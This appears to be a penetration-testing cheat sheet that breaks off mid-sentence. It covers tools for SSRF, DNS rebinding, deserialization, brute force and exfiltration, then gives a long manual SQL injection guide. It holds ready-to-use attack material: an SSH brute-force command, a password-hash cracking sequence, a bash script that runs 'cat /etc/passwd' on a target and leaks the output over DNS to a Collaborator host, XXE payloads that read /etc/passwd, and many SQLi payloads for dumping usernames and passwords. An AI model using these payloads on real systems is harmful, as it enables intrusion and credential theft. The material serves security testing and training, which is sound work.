* [ssrf-sheriff](https://github.com/teknogeek/ssrf-sheriff) - A simple SSRF-testing sheriff written in Go
* [B-XSSRF](https://github.com/SpiderMate/B-XSSRF) - Toolkit to detect and keep track on Blind XSS, XXE & SSRF
* [extended-ssrf-search](https://github.com/Damian89/extended-ssrf-search) - Smart ssrf scanner using different methods like parameter brute forcing in post and get...
* [gaussrf](https://github.com/KathanP19/gaussrf) - Fetch known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl and Filter Urls With OpenRedirection or SSRF Parameters.
* [ssrfDetector](https://github.com/JacobReynolds/ssrfDetector) - Server-side request forgery detector
* [grafana-ssrf](https://github.com/RandomRobbieBF/grafana-ssrf) - Authenticated SSRF in Grafana
* [sentrySSRF](https://github.com/xawdxawdx/sentrySSRF) - Tool to searching sentry config on page or in javascript files and check blind SSRF
* [lorsrf](https://github.com/knassar702/lorsrf) - Bruteforcing on Hidden parameters to find SSRF vulnerability using GET and POST Methods
* [singularity](https://github.com/nccgroup/singularity) - A DNS rebinding attack framework.
* [whonow](https://github.com/brannondorsey/whonow) - A "malicious" DNS server for executing DNS Rebinding attacks on the fly (public instance running on rebind.network:53)
* [dns-rebind-toolkit](https://github.com/brannondorsey/dns-rebind-toolkit) - A front-end JavaScript toolkit for creating DNS rebinding attacks.
* [dref](https://github.com/FSecureLABS/dref) - DNS Rebinding Exploitation Framework
* [rbndr](https://github.com/taviso/rbndr) - Simple DNS Rebinding Service
* [httprebind](https://github.com/daeken/httprebind) - Automatic tool for DNS rebinding-based SSRF attacks
* [dnsFookup](https://github.com/makuga01/dnsFookup) - DNS rebinding toolkit

\----------------------------------------------------------------------------------------

### &#x20;                                             27. Auto: SSTI <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

**NUCLEI: Automated**&#x20;

```
http/vulnerabilities/other/twig-php-ssti.yaml
```

**AUTO TOOLS: Go, Python**&#x20;



\----------------------------------------------------------------------------------------

### &#x20;                                              28. Auto: IDOR <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

Insecure Direct Object References (IDOR) is a web application vulnerability that arises when an attacker can bypass authorization and access resources or data they are not supposed to. Here are some web application vulnerabilities that can arise from IDOR:

**NUCLEI: Automated**&#x20;

```
```

**AUTO TOOLS: Go, Python**&#x20;

* [Autorize](https://github.com/Quitten/Autorize) - Automatic authorization enforcement detection extension for burp suite written in Jython developed by Barak Tawily



\----------------------------------------------------------------------------------------

### &#x20;                                       29. Auto: Deserialization <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

Insecure deserialization is a vulnerability that arises when a web application processes untrusted data from an attacker-controlled source. Here are some web application vulnerabilities that can arise from insecure deserialization:

1. Remote Code Execution (RCE): Insecure deserialization can allow an attacker to inject and execute malicious code on the server, potentially gaining full control over the system.
2. XML/JSON External Entity (XXE/JXE) Attacks: Insecure deserialization can be used to trigger XXE or JXE attacks if the application processes XML or JSON content.
3. Privilege Escalation: An attacker may be able to escalate privileges by exploiting insecure deserialization, gaining access to sensitive areas or functions within the application.
4. Authentication Bypass: In some cases, insecure deserialization can lead to the bypassing of authentication mechanisms, granting unauthorized access to protected resources.

**NUCLEI: Automated**&#x20;

```
```

**AUTO TOOLS: Go, Python**&#x20;

* [ysoserial](https://github.com/frohoff/ysoserial) - A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
* [GadgetProbe](https://github.com/BishopFox/GadgetProbe) - Probe endpoints consuming Java serialized objects to identify classes, libraries, and library versions on remote Java classpaths.
* [ysoserial.net](https://github.com/pwntester/ysoserial.net) - Deserialization payload generator for a variety of .NET formatters
* [phpggc](https://github.com/ambionics/phpggc) - PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.



\-------------------------------------------------------------------------------------

### &#x20;                                                       Attacking <a href="#user-content-attacking" id="user-content-attacking"></a>

#### &#x20;                                                                      Brute Force <a href="#user-content-brute-force" id="user-content-brute-force"></a>

[https://github.com/vanhauser-thc/thc-hydra](https://github.com/vanhauser-thc/thc-hydra)\
\# Number one of the biggest security holes are passwords, as every password security study shows. This tool is a proof of concept code, to give researchers and security consultants the possibility to show how easy it would be to gain unauthorized access from remote to a system

```
hydra -l root -P 10-million-password-list-top-1000.txt www.example.com -t 4 ssh
```

[https://www.openwall.com/john/](https://www.openwall.com/john/)\
\# John the Ripper is an Open Source password security auditing and password recovery tool available for many operating systems.

```
unshadow /etc/passwd /etc/shadow > mypasswd.txt
john mypasswd.txt
```

[https://hashcat.net/hashcat/](https://hashcat.net/hashcat/)\
\# Hashcat is a password recovery tool.

```
hashcat -m 0 -a 0 hashes.txt passwords.txt
```

[https://github.com/iangcarroll/cookiemonster](https://github.com/iangcarroll/cookiemonster)\
\# CookieMonster is a command-line tool and API for decoding and modifying vulnerable session cookies from several different frameworks. It is designed to run in automation pipelines which must be able to efficiently process a large amount of these cookies to quickly discover vulnerabilities. Additionally, CookieMonster is extensible and can easily support new cookie formats.

```
cookiemonster -cookie "gAJ9cQFYCgAAAHRlc3Rjb29raWVxAlgGAAAAd29ya2VkcQNzLg:1mgnkC:z5yDxzI06qYVAU3bkLaWYpADT4I"
```





[https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox)\
\# Rotate the source IP address in order to bypass rate limits



* [DefaultCreds-cheat-sheet](https://github.com/ihebski/DefaultCreds-cheat-sheet) - One place for all the default credentials to assist the Blue/Red teamers activities on finding devices with default password
* [changeme](https://github.com/ztgrace/changeme) - A default credential scanner.
* [BruteX](https://github.com/1N3/BruteX) - Automatically brute force all services running on a target.
* [patator](https://github.com/lanjelot/patator) - Patator is a multi-purpose brute-forcer, with a modular design and a flexible usage.

&#x20;                           \-----------------------------------------------

#### &#x20;                                                                       Exfiltration <a href="#user-content-exfiltration" id="user-content-exfiltration"></a>

[https://github.com/vp777/procrustes](https://github.com/vp777/procrustes)\
\# A bash script that automates the exfiltration of data over dns

[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)\
\# The successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn.

[https://github.com/fbkcs/ThunderDNS](https://github.com/fbkcs/ThunderDNS)\
\# This tool can forward TCP traffic over DNS protocol. Non-compile clients + socks5 support.

[https://github.com/BishopFox/sliver](https://github.com/BishopFox/sliver)\
\# Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.

[https://github.com/rapid7/metasploit-framework](https://github.com/rapid7/metasploit-framework)\
\# The Metasploit Framework (MSF) is far more than just a collection of exploits–it is also a solid foundation that you can build upon and easily customize to meet your needs.

[https://cloud.hacktricks.xyz/pentesting-cloud/gcp-pentesting/gcp-services/gcp-databases-enum/gcp-firebase-enum](https://cloud.hacktricks.xyz/pentesting-cloud/gcp-pentesting/gcp-services/gcp-databases-enum/gcp-firebase-enum) [https://blog.assetnote.io/bug-bounty/2020/02/01/expanding-attack-surface-react-native/](https://blog.assetnote.io/bug-bounty/2020/02/01/expanding-attack-surface-react-native/)\
\# Extract data from Firebase with apikey.

```
$ python3 -m venv venv
$ source venv/bin/activate
$ python3 -m ensurepip
$ pip3 install pyrebase4
$ python3
>>> import pyrebase
>>> config = {"apiKey":"AIz...","authDomain":"project.firebaseapp.com","databaseURL":"https://project.firebaseio.com"...}
>>> firebase = pyrebase.initialize_app(config)
>>> db = firebase.database()
>>> print(db.get())
```

\
\# Pure bash exfiltration over dns\
\## Execute on target server (replace YOURBCID)

```
CMD="cat /etc/passwd"
HID=$(tr -dc A-Za-z0-9 </dev/urandom | head -c 5)
CMDID=$(tr -dc A-Za-z0-9 </dev/urandom | head -c 5)
BC="YOURBCID.burpcollaborator.net"
D="$HID-$CMDID.$BC"
M=$($CMD 2>&1); T=${#M}; O=0; S=30; I=1; while [ "${T}" -gt "0" ]; do C=$(echo ${M:${O}:${S}}|base64); C=${C//+/_0}; C=${C//\//_1}; C=${C//=/_2}; host -t A $I.${C}.$D&>/dev/null; O=$((${O}+${S})); T=$((${T}-${S})); I=$((I+1)); done
```

\
\## Execute on attacker machine (replace YOURBIID) and extract Burp Collaborator results

```
BCPURL="https://polling.burpcollaborator.net/burpresults?biid=YOURBIID"
RESULTS=$(curl -sk "${BCPURL}")
```

\
\## Get IDs available

```
echo "${RESULTS}" | jq -cM '.responses[]' | while read LINE; do if [[ $LINE == *'"protocol":"dns'* ]]; then echo ${LINE} | jq -rM '.data.subDomain' | egrep --color=never "^[[:digit:]]+\..*\..*\.$BC$"; fi; done | sed -r 's/^[[:digit:]]+\.[^.]+\.([^.]+)\..*/\1/g' | sort -u
```

\
\## Update ID and get command result (repeat for each ID)

```
ID="xxxxx-xxxxx"
echo "${RESULTS}" | jq -cM '.responses[]' | while read LINE; do if [[ $LINE == *'"protocol":"dns'* ]]; then echo ${LINE} | jq -rM '.data.subDomain' | egrep "^[[:digit:]]+\..*\..*\.$BC$"; fi; done | egrep "$ID" | sort -t. -k3 -g | sed -r 's/^[[:digit:]]+\.([^.]+)\..*/\1/g' | while read i; do i=${i//_0/+}; i=${i//_1/\/}; i=${i//_2/=}; echo ${i} | base64 -d; done
```

[https://www.slideshare.net/snyff/code-that-gets-you-pwnsd](https://www.slideshare.net/snyff/code-that-gets-you-pwnsd)\
\# Code that gets you pwn(s|'d). Very intersting bypasses ideas.

#### General <a href="#user-content-general-1" id="user-content-general-1"></a>

[https://github.com/firefart/stunner](https://github.com/firefart/stunner)\
\# Stunner is a tool to test and exploit STUN, TURN and TURN over TCP servers. TURN is a protocol mostly used in videoconferencing and audio chats (WebRTC).

```
stunner info -s x.x.x.x:443
```

\----------------------------------------------------------------------------------------

### &#x20;                                             Manual Testing <a href="#user-content-manual" id="user-content-manual"></a>

#### &#x20;                                                                     Payloads <a href="#user-content-payloads" id="user-content-payloads"></a>

[https://github.com/six2dez/OneListForAll](https://github.com/six2dez/OneListForAll)\
\# This is a project to generate huge wordlists for web fuzzing, if you just want to fuzz with a good wordlist use the file onelistforallmicro.txt.

[https://github.com/swisskyrepo/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)\
\# PayloadsAllTheThings

[https://github.com/RenwaX23/XSS-Payloads](https://github.com/RenwaX23/XSS-Payloads)\
\# List of XSS Vectors/Payloads i have been collecting since 2015 from different resources like websites,tweets,books.

[https://github.com/0xacb/recollapse](https://github.com/0xacb/recollapse)\
\# REcollapse is a helper tool for black-box regex fuzzing to bypass validations and discover normalizations in web applications.

[https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html)\
\# Unicode normalization good for WAF bypass.

[https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)\
\# This cross-site scripting (XSS) cheat sheet contains many vectors that can help you bypass WAFs and filters. You can select vectors by the event, tag or browser and a proof of concept is included for every vector.

[https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\
\# XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any back-end or external systems that the application itself can access.\
`<?xml version="1.0" encoding="UTF-8"?>`\
`<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>`\
`<stockCheck><productId>&xxe;</productId></stockCheck>`

[https://phonexicum.github.io/infosec/xxe.html](https://phonexicum.github.io/infosec/xxe.html)\
\# Information Security PENTEST XXE\
`<!DOCTYPE foo SYSTEM "http://xpto.burpcollaborator.net/xpto.dtd">`

[https://github.com/GoSecure/dtd-finder](https://github.com/GoSecure/dtd-finder)\
\# Identify DTDs on filesystem snapshot and build XXE payloads using those local DTDs.

[https://www.blackhat.com/us-17/briefings.html#a-new-era-of-ssrf-exploiting-url-parser-in-trending-programming-languages](https://www.blackhat.com/us-17/briefings.html#a-new-era-of-ssrf-exploiting-url-parser-in-trending-programming-languages)\
\# We propose a new exploit technique that brings a whole-new attack surface to bypass SSRF (Server Side Request Forgery) protections.\
[https://github.com/orangetw/Tiny-URL-Fuzzer/blob/master/samples.txt](https://github.com/orangetw/Tiny-URL-Fuzzer/blob/master/samples.txt)

\----------------------------------------------------------------------------------------

### &#x20;                                              1. Manual: SQLi <a href="#user-content-manual" id="user-content-manual"></a>

{% embed url="https://portswigger.net/web-security/sql-injection" %}

{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}

{% embed url="https://exploit-notes.hdks.org/exploit/web/security-risk/sql-injection-cheat-sheet/" %}

**ENTRY POINT:**

* UNION: URL: GET requests
* UNION: products / categories URL
* UNION: Login forms
* BLIND: Tracking ID
* BLIND: Cookie sessions

&#x20;                                        **Subverting application logic -LOGIN FORMS** \
Consider an application that lets users log in with a username and password. If a user submits the username wiener and the password bluecheese, the application checks the credentials by performing the following&#x20;

```
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'
```

If the query returns the details of a user, then the login is successful. Otherwise, it is rejected. Here, an attacker can log in as any user without a password simply by using the SQL comment sequence -- to remove the password check from the WHERE clause of the query. For example, submitting the username administrator'-- and a blank password results in the following query:&#x20;

```
SELECT * FROM users WHERE username = 'administrator'--' AND password = '' 
```

This query returns the user whose username is administrator and successfully logs the attacker in as that user.&#x20;

```
USERNAME: usename'-- PASSWORD: ''
```



&#x20;                                                        **UNION SQL**&#x20;

First off, check if we can inject SQL commands into forms or URL params in the target website

```
https://insecure-website.com/products?category=Gifts'--
https://insecure-website.com/products?category=Gifts'+OR+1=1--

' OR 1=1--
' OR 1=1-- -
' OR 1=1#

' OR '1'='1'--
' OR '1'='1'-- -
' OR '1'='1'#

' OR '1'='1--
' OR '1'='1-- -
' OR '1'='1#

" OR 1=1--
" OR 1=1-- -
" OR 1=1#

') OR 1=1--
') OR 1=1-- -
') OR 1=1#

admin or 1=1--
admin or 1=1-- -
admin or 1=1#

```

&#x20;                                             **UNION: DATABASE TYPE**&#x20;

{% embed url="https://portswigger.net/web-security/sql-injection/examining-the-database" %}

Different databases provide different ways of querying their version. You often need to try out different queries to find one that works, allowing you to determine both the type and version of the database software.

```
MSSQL
' UNION SELECT @@version--
' UNION SELECT NULL,@@version--

MySQL
' UNION SELECT @@version-- -
' UNION SELECT @@version#

' UNION SELECT NULL,@@version-- -
' UNION SELECT NULL,@@version#

Oracle
' UNION SELECT 'a' FROM dual--
' UNION SELECT 'a','b' FROM dual--
' UNION SELECT * FROM v$version--
' UNION SELECT BANNER,NULL FROM v$version--

PostgreSQL
' UNION SELECT version()--
' UNION SELECT NULL,version()--

SQLite
' UNION SELECT sqlite_version()--
' UNION SELECT sqlite_version(),NULL--

SQLMAP
$sqlmap -u <target_URL> --dbs
- Specify a specific database management system (DBMS): $sqlmap -u <target_URL> --dbms=<DBMS> --dbs
Replace <DBMS> with the name of the database management system you want to target, such as MySQL, PostgreSQL, Oracle, etc. This option can be useful when you already know the type of database used by the web application.
- Enumerate database tables: $sqlmap -u <target_URL> -D <database_name> --tables
- Dump data from a specific table: $sqlmap -u <target_URL> -D <database_name> -T <table_name> --dump
- Use custom injection payloads: $sqlmap -u <target_URL> --payloads=<payload_file> --dbs
```

&#x20;                             **UNION: DETECT THE NUMBER OF COLUMS**



The application might actually return the database error in its HTTP response, or it might return a generic error, or simply return no results. Provided you can detect some difference in the application's response, you can infer how many columns are being returned from the query.

```
SQL injection UNION attack, determining the number of columns returned by the query
https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns
1. Use Burp Suite to intercept and modify the request that sets the product category filter.
2. Modify the category parameter, giving it the value '+UNION+SELECT+NULL--. Observe that an error occurs.
3. Modify the category parameter to add an additional column containing a null value:
'+UNION+SELECT+NULL,NULL--
4. Continue adding null values until the error disappears and the response includes additional content containing the null values.
https://insecure-website.com/filter?category=Corporate+gifts'+UNION+SELECT+NULL,NULL--

' UNION SELECT NULL--
' UNION SELECT NULL-- -

' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL-- -

' UNION SELECT NULL,NULL,NULL--
' UNION SELECT NULL,NULL,NULL-- -

- On Oracle, every SELECT query must use the FROM keyword and specify a valid table. There is a built-in table on Oracle called dual which can be used for this purpose. So the injected queries on Oracle would need to look like:
' UNION SELECT NULL FROM DUAL--
```

&#x20;                      **UNION: DETECT THE COLUMS CONTAINING TEXT**

{% embed url="https://portswigger.net/web-security/sql-injection/union-attacks/lab-find-column-containing-text" %}

1. Use Burp Suite to intercept and modify the request that sets the product category filter.
2. Determine the number of columns that are being returned by the query. Verify that the query is returning three columns, using the following payload in the category parameter: '+UNION+SELECT+NULL,NULL,NULL--
3. Try replacing each null with the random value provided by the lab, for example: '+UNION+SELECT+'abcdef',NULL,NULL--
4. If an error occurs, move on to the next null and try that instead. https://insecure-website.com/filter?category=Corporate+gifts'+UNION+SELECT NULL,'Vfq3Zl',NULL--

```
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT 'a',NULL,NULL-- -

' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,'a',NULL-- -

' UNION SELECT NULL,NULL,'a'--
' UNION SELECT NULL,NULL,'a'-- -

UNION ALL
We can combine the result of the query into the one column by using “UNION ALL” syntax.
' UNION ALL SELECT "' UNION SELECT flag,NULL,NULL from flags-- -",NULL,NULL from users-- -
```

&#x20;                                          **UNION: LIST TABLE NAMES**

Get the table name in which you want to get the information. Most database types (with the notable exception of Oracle) have a set of views called the information schema which provide information about the database.

```
MSSQL
' UNION SELECT table_name,NULL FROM information_schema.tables--

MySQL
' UNION SELECT table_name,NULL FROM information_schema.tables-- -
' UNION SELECT table_name,NULL FROM information_schema.tables#
//group_concat(): Dump all tables simultaneously
' UNION SELECT group_concat(table_name),NULL FROM information_schema.tables-- -
' UNION SELECT group_concat(table_name),NULL FROM information_schema.tables#

PostgreSQL
' UNION SELECT table_name,NULL FROM information_schema.tables--

Oracle
' UNION SELECT table_name,NULL FROM all_tables--
' UNION SELECT * FROM all_tables

SQLite
' UNION SELECT tbl_name FROM sqlite_master--
' UNION SELECT tbl_name,NULL FROM sqlite_master--

This returns output like the following:
TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  TABLE_TYPE
MyDatabase     dbo           Products    BASE TABLE
MyDatabase     dbo           Users       BASE TABLE
MyDatabase     dbo           Feedback    BASE TABLE
```

&#x20;                                 **UNION: LIST COLUMN NAMES**

Get column names from the table name which we got. This output indicates that there are three tables, called Products, Users, and Feedback. You can then query information\_schema.columns to list the columns in individual tables:

```
SELECT * FROM information_schema.columns WHERE table_name = 'Users'

MSSQL
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='table_name'--

MySQL
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='table_name'-- -
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='table_name'#

PostgreSQL
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='table_name'--

Oracle
Determine the number of columns that are being returned by the query and which columns contain text data. Verify that the query is returning two columns, both of which contain text, using a payload like the following in the category parameter:
'+UNION+SELECT+'abc','def'+FROM+dual--
Use the following payload to retrieve the list of tables in the database:
'+UNION+SELECT+table_name,NULL+FROM+all_tables--
Find the name of the table containing user credentials.
Use the following payload (replacing the table name) to retrieve the details of the columns in the table:
'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_ABCDEF'--
Find the names of the columns containing usernames and passwords.
Use the following payload (replacing the table and column names) to retrieve the usernames and passwords for all users:
'+UNION+SELECT+USERNAME_ABCDEF,+PASSWORD_ABCDEF+FROM+USERS_ABCDEF--

' UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name='table_name'--

SQLite
' UNION SELECT column

This returns output like the following:
TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  COLUMN_NAME  DATA_TYPE
MyDatabase     dbo           Users       UserId       int
MyDatabase     dbo           Users       Username     varchar
MyDatabase     dbo           Users       Password     varchar
```

&#x20;                                **UNION: LIST INFORMATION IN TABLE**

{% embed url="https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-data-from-other-tables" %}

Get information in the table. For instance, suppose we want to get the username and password from the table named 'users'. When you have determined the number of columns returned by the original query and found which columns can hold string data, you are in a position to retrieve interesting data.

1. Use Burp Suite to intercept and modify the request that sets the product category filter.
2. Determine the number of columns that are being returned by the query and which columns contain text data. Verify that the query is returning two columns, both of which contain text, using a payload like the following in the category parameter:

```
'+UNION+SELECT+'abc','def'--
```

3. Use the following payload to retrieve the contents of the users table:

```
'+UNION+SELECT+username,+password+FROM+users--
```

4. Verify that the application's response contains usernames and passwords.

```
https://insecure-website.com/filter?category=Corporate+gifts'+UNION+SELECT+username,+password+FROM+users--
```

```
' UNION SELECT username,password FROM users--
' UNION SELECT username,password FROM users-- -

Oracle
' UNION SELECT username || '~' || password FROM users--
' UNION SELECT username || '~' || password FROM users-- -

' UNION SELECT NULL,username || '~' || password FROM users--
' UNION SELECT NULL,username || '~' || password FROM users-- -

' UNION SELECT username,password FROM users WHERE username='admin' AND password='password1'--
' UNION SELECT username,password FROM users WHERE username='admin' AND password='password1'-- -

' UNION SELECT username,password FROM users WHERE username='admin' OR password='password1'--
' UNION SELECT username,password FROM users WHERE username='admin' OR password='password1'-- -

' UNION SELECT username,password FROM users WHERE username='admin' AND password LIKE 'pas%'--
' UNION SELECT username,password FROM users WHERE username='admin' AND password LIKE 'pas%'-- -

BINARY: Sensitive to upper case and lower case.
' UNION SELECT username,password FROM users WHERE username='admin' AND BINARY password='PassWord'--
' UNION SELECT username,password FROM users WHERE username='admin' AND BINARY password='PassWord'-- -

Dumping Table
' UNION SELECT table_name FROM table_name--
' UNION SELECT table_name,NULL FROM table_name--
```

&#x20;                                                                      **BLIND SQL**

{% embed url="https://portswigger.net/web-security/sql-injection/blind" %}

Many instances of SQL injection are blind vulnerabilities. This means that the application does not return the results of the SQL query or the details of any database errors within its responses. Blind vulnerabilities can still be exploited to access unauthorized data, but the techniques involved are generally more complicated and difficult to perform.

1. Check if the SQL Injection Works

```
' AND '1'='1
' AND '1'='2
' AND (SELECT 'a' FROM users LIMIT 1)='a
```

2. Check if Content Value Exists For example, check if username 'administrator' exists in 'users'

```
' AND (SELECT 'a' FROM users WHERE username='administrator')='a
```

If so, determine the password length

```
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a
...
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)=8)='a
```

Brute force password's character

```
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='$a$
' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='$a$
...
' AND (SELECT SUBSTRING(password,8,1) FROM users WHERE username='administrator')='$a$
```

&#x20;                                                   **BLIND: Conditional Response**

Consider an application that uses tracking cookies to gather analytics about usage. When a request containing a TrackingId cookie is processed, the application determines whether this is a known user using a SQL query like this:

```
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
```

This query is vulnerable to SQL injection, but the results from the query are not returned to the user. However, the application does behave differently depending on whether the query returns any data. If it returns data (because a recognized TrackingId was submitted), then a message is displayed within the page.

For example, suppose there is a table called Users with the columns Username and Password, and a user called Administrator. We can systematically determine the password for this user by sending a series of inputs to test the password one character at a time.

To do this, we start with the following input:

```
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm
```

This returns the "Welcome back" message, indicating that the injected condition is true, and so the first character of the password is greater than m. Next, we send the following input:

```
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't
```

Eventually, we send the following input, which returns the "Welcome back" message, thereby confirming that the first character of the password is s:

```
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's
```

&#x20;                                         **BLIND: Conditional Error**&#x20;

In the preceding example, suppose instead that the application carries out the same SQL query, but does not behave any differently depending on whether the query returns any data. The preceding technique will not work, because injecting different Boolean conditions makes no difference to the application's responses.

In this situation, it is often possible to induce the application to return conditional responses by triggering SQL errors conditionally, depending on an injected condition. This involves modifying the query so that it will cause a database error if the condition is true, but not if the condition is false. Very often, an unhandled error thrown by the database will cause some difference in the application's response (such as an error message), allowing us to infer the truth of the injected condition.

```
1. First Check
'
''
'||(SELECT '')||'
'||(SELECT '' FROM dual)||'
'||(SELECT '' FROM fake_table)||'
'||(SELECT '' FROM users WHERE ROWNUM = 1||'
'|| (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
'|| (SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

2. Check if Content Value Exists
'|| (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

If so, determine the password length
''||(SELECT CASE WHEN LENGTH(password)>2 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
''||(SELECT CASE WHEN LENGTH(password)>3 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
...
''||(SELECT CASE WHEN LENGTH(password)=8 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Brute force password character
'||(SELECT CASE WHEN SUBSTR(password,1,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
'||(SELECT CASE WHEN SUBSTR(password,2,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
...
'||(SELECT CASE WHEN SUBSTR(password,8,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
```

&#x20;                                     **BLIND: Verbose SQL Error messages**

{% embed url="https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based" %}

Misconfiguration of the database sometimes results in verbose error messages. These can provide information that may be useful to an attacker. For example, consider the following error message, which occurs after injecting a single quote into an id parameter:

```
Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char
```

&#x20;                                                **BLIND SQL (Time-based)**

In some of the preceding examples, we've seen how you can exploit the way applications fail to properly handle database errors. But what if the application catches these errors and handles them gracefully? Triggering a database error when the injected SQL query is executed no longer causes any difference in the application's response, so the preceding technique of inducing conditional errors will not work.

In this situation, it is often possible to exploit the blind SQL injection vulnerability by triggering time delays conditionally, depending on an injected condition. Because SQL queries are generally processed synchronously by the application, delaying the execution of a SQL query will also delay the HTTP response. This allows us to infer the truth of the injected condition based on the time taken before the HTTP response is received.

```
1. First Check
MySQL
' AND sleep(5)-- -

PostgreSQL
'||pg_sleep(10)--
'; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--
'; SELECT CASE WHEN (1=2) THEN pg_sleep(10) ELSE pg_sleep(0) END--

Microsoft SQL
The first of these inputs will not trigger a delay, because the condition 1=2 is false. The second input will trigger a delay of 10 seconds, because the condition 1=1 is true.
'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--

2. Check if Content Value Exists
'; SELECT CASE WHEN (username='administrator') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

If so, determine the password length
'; SELECT CASE WHEN (username='administrator' AND LENGTH(password)>1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
'; SELECT CASE WHEN (username='administrator' AND LENGTH(password)>2) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
...
'; SELECT CASE WHEN (username='administrator' AND LENGTH(password)=8) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

Brute force password character
'; SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)='$a$') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
'; SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,2,1)='$a$') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
...
'; SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,8,1)='$a$') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
```

&#x20;                                **Blind SQL injection with time delays**

{% embed url="https://portswigger.net/web-security/sql-injection/blind/lab-time-delays" %}

{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}

```
1. Visit the front page of the shop, and use Burp Suite to intercept and modify the request containing the TrackingId cookie.
2. Modify the TrackingId cookie, changing it to:
TrackingId=x'||pg_sleep(10)--
3. Submit the request and observe that the application takes 10 seconds to respond.

Oracle          trackingid= sdfsdfsdfsdfsdf'     dbms_pipe.receive_message(('a'),10)
Microsof        ttrackingid= sdfsdfsdfsdfsdf'    WAITFOR DELAY '0:0:10'
PostgreSQL      trackingid= sdfsdfsdfsdfsdf'     ||pg_sleep(10)--
MySQL           trackingid= sdfsdfsdfsdfsdf'     ||(SELECT SLEEP(10))--
```

&#x20;          **Blind SQL injection with time delays & information retrieval**

{% embed url="https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval" %}

&#x20;      **BLIND: Exploiting blind SQL injection using out-of-band (OAST) techniques**

{% embed url="https://portswigger.net/burp/application-security-testing/oast" %}

&#x20;                        **Blind SQL injection with out-of-band interaction**

{% embed url="https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band" %}

1. Visit the front page of the shop, and use Burp Suite to intercept and modify the request containing the TrackingId cookie.
2. Modify the TrackingId cookie, changing it to a payload that will trigger an interaction with the Collaborator server. For example, you can combine SQL injection with basic XXE techniques as follows:&#x20;

```
